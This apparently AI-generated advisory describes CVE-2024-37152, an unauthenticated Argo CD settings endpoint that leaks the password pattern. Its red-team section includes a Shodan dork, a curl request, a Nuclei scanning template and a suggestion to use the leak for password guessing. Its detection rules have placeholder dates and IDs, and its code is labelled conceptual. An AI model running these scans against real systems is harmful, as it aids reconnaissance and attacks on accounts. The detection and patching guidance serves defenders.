CVE-2024-37152

Executive Summary

CVE-2024-37152 is a medium-severity vulnerability in Argo CD, a declarative, GitOps continuous delivery tool for Kubernetes. The flaw allows an unauthenticated attacker to access sensitive settings exposed by the /api/v1/settings endpoint. While most sensitive fields are hidden, the passwordPattern field is exposed, which can reveal the password policy pattern used by the application. This information can be leveraged by attackers to craft more effective brute-force or password-guessing attacks. The vulnerability has a CVSS score of 5.3 (NVD) but a higher score of 7.5 (from the Nuclei template) due to the potential for information disclosure. A public proof-of-concept (Nuclei template) is available, and exploitation is trivial.

Supply Chain & Package Security

Argo CD is a Go-based application distributed as a container image and a binary. The vulnerability is in the core API server component. Users should verify the integrity of their Argo CD images by checking the official signatures and digests provided in the release notes. The fix is included in the standard release pipeline, so updating to a patched version is the primary remediation.

CVSS Breakdown & Threat Level

Threat Level: High. The vulnerability is easily exploitable over the network without authentication. While it only leaks the passwordPattern, this information can be used to significantly reduce the search space for password attacks against Argo CD user accounts.

Deep Dive & Mechanics

The vulnerability resides in the /api/v1/settings endpoint of the Argo CD API server. This endpoint is designed to return configuration settings to authenticated users. However, due to a missing authentication check, the endpoint is accessible without any credentials.

The API handler, when processing the request, returns a JSON object containing various settings. The developers attempted to redact sensitive fields (e.g., dexConfig, oidcConfig) by setting them to empty strings or null. However, the passwordPattern field, which defines the regular expression pattern for acceptable passwords, is not redacted.

An attacker can simply send a GET request to /api/v1/settings and receive the passwordPattern value. For example, a response might contain:

{
  "passwordPattern": "^.{8,}$",
  "appLabelKey": "argocd.argoproj.io/instance",
  ...
}

This reveals that passwords must be at least 8 characters long. While this is a common policy, it provides attackers with a constraint to use in password-guessing tools.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual): The vulnerable code likely lacks an authentication middleware check for the /api/v1/settings route. The handler function directly processes the request and returns settings without verifying the user's identity.

// Vulnerable handler
func (s *Server) getSettings(w http.ResponseWriter, r *http.Request) {
    settings := s.settingsMgr.GetSettings()
    // Redact sensitive fields
    settings.DexConfig = ""
    settings.OIDCConfig = nil
    // passwordPattern is NOT redacted
    writeJSON(w, settings)
}

Patched Code (Conceptual): The patched code adds an authentication check before processing the request. This ensures that only authenticated users can access the endpoint.

// Patched handler
func (s *Server) getSettings(w http.ResponseWriter, r *http.Request) {
    // Authentication check added
    if err := s.enforceAuthentication(r); err != nil {
        writeError(w, err)
        return
    }
    settings := s.settingsMgr.GetSettings()
    // Redact sensitive fields
    settings.DexConfig = ""
    settings.OIDCConfig = nil
    // passwordPattern is also redacted for non-admin users (or removed entirely)
    settings.PasswordPattern = ""
    writeJSON(w, settings)
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• A target Argo CD instance (version < 2.9.17, < 2.10.12, or < 2.11.3).
• Network access to the Argo CD API server (typically port 443 or 8080).

Exploitation Steps:

1. Identify Target: Use Shodan or similar to find Argo CD instances. The dork html:"Argo CD" can be used.
2. Send Request: Use curl or any HTTP client to send a GET request to the /api/v1/settings endpoint.

   curl -k https://target-argo-cd.example.com/api/v1/settings
   

3. Analyze Response: Look for the passwordPattern field in the JSON response.

   {
     "passwordPattern": "^.{8,}$",
     ...
   }
   

4. Leverage Information: Use the password pattern to refine password-guessing attacks against Argo CD user accounts (e.g., via the login endpoint).

Nuclei Template (Provided): The following Nuclei template can be used for automated scanning.

id: CVE-2024-37152

info:
  name: Argo CD Unauthenticated Access to sensitive setting
  author: DhiyaneshDk
  severity: medium
  description: |
    Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. The vulnerability allows unauthorized access to the sensitive settings exposed by /api/v1/settings endpoint without authentication. All sensitive settings are hidden except passwordPattern.
  impact: |
    Unauthenticated attackers can access sensitive password patterns and application settings exposed by the /api/v1/settings endpoint.
  remediation: |
    Update Argo CD to a version that patches CVE-2024-37152.
  reference:
    - https://github.com/argoproj/argo-cd/security/advisories/GHSA-87p9-x75h-p4j2
    - https://nvd.nist.gov/vuln/detail/CVE-2024-37152
  classification:
    cve-id: CVE-2024-37152
    cwe-id: CWE-306
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    epss-score: 0.80204
    epss-percentile: 0.99123
    cpe: cpe:2.3:a:argoproj:argo_cd:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: argoproj
    product: argo_cd
    shodan-query: html:"Argo CD"
  tags: cve,cve2024,argo-cd,info-leak,vuln

http:
  - raw:
      - |
        GET /api/v1/settings HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"passwordPattern":'
          - '"appLabelKey":'
        condition: and

      - type: word
        part: content_type
        words:
          - 'application/json'

      - type: status
        status:
          - 200

Blue Team

Detection & Response:

1. Monitor API Access Logs: Look for requests to /api/v1/settings from IP addresses that are not associated with known Argo CD users or service accounts.
2. Check for Anomalous Traffic: A sudden spike in requests to /api/v1/settings could indicate scanning activity.
3. Review Authentication Logs: Correlate API access with authentication events. If a request to /api/v1/settings is successful but no prior authentication event exists for that IP, it is a strong indicator of exploitation.
4. Honeypot: Deploy a decoy Argo CD instance with a fake passwordPattern (e.g., ^.{1,}$) and monitor for access.

Lab Setup:

1. Deploy Vulnerable Argo CD: Use a Kubernetes cluster (e.g., Minikube, Kind) and deploy an older version of Argo CD (e.g., v2.9.16).

   kubectl create namespace argocd
   kubectl apply -n argocd -f https://raw.githubusercontent.com/argoproj/argo-cd/v2.9.16/manifests/install.yaml
   

2. Expose API Server: Port-forward the Argo CD API server.

   kubectl port-forward svc/argocd-server -n argocd 8080:443
   

3. Test Exploitation: Run the curl command or Nuclei template against https://localhost:8080.
4. Apply Patch: Upgrade to a patched version (e.g., v2.11.3) and verify the endpoint now requires authentication.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP GET requests to /api/v1/settings from unauthenticated sources.
  • Responses containing "passwordPattern" in the JSON body.
• Log IOCs:
  • API server logs showing GET /api/v1/settings requests without a preceding POST /api/v1/session (login) request.
  • Access logs from IP addresses not in the allowed user list.
• File IOCs:
  • None specific to this CVE, as it is a network-based information disclosure.

Detection Engineering

YARA Rule

rule CVE_2024_37152_ArgoCD_Settings_Leak {
    meta:
        description = "Detects HTTP responses from Argo CD /api/v1/settings endpoint containing passwordPattern"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-37152"
        severity = "high"
    strings:
        $password_pattern = /"passwordPattern"\s*:\s*"[^"]*"/
        $app_label_key = /"appLabelKey"\s*:\s*"[^"]*"/
    condition:
        all of them
}

Sigma Rule

title: Argo CD Unauthenticated Settings Access
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects unauthenticated access to the Argo CD /api/v1/settings endpoint.
author: Valters IT
date: 2024/01/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-37152
logsource:
    category: webserver
    product: argo-cd
detection:
    selection:
        cs-method: GET
        cs-uri-stem: /api/v1/settings
        sc-status: 200
    condition: selection
falsepositives:
    - Legitimate authenticated API calls (correlate with authentication logs)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-37152 Argo CD Unauthenticated Settings Access"; flow:to_server; content:"GET"; http_method; content:"/api/v1/settings"; http_uri; content:"passwordPattern"; http_server_body; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade Argo CD to version 2.11.3, 2.10.12, or 2.9.17 (or later).
2. Network Segmentation: Restrict network access to the Argo CD API server to only trusted IP ranges or use a VPN.
3. Web Application Firewall (WAF): Create a WAF rule to block requests to /api/v1/settings from unauthenticated sources (if possible).

Long-Term Mitigations:

1. Enable Authentication: Ensure that all API endpoints require authentication. Argo CD supports SSO, OIDC, and local users.
2. Regular Updates: Implement a policy for timely patching of Argo CD and other critical infrastructure components.
3. Audit Logging: Enable and monitor audit logs for the Argo CD API server.
4. Principle of Least Privilege: Ensure that API tokens and service accounts have the minimum necessary permissions.

Valters IT Signature This report was generated by Valters IT DevSecOps AI Assistant.

{/* [Security Hash: 5F5A1ACBB3D8C599A87FDD48] */}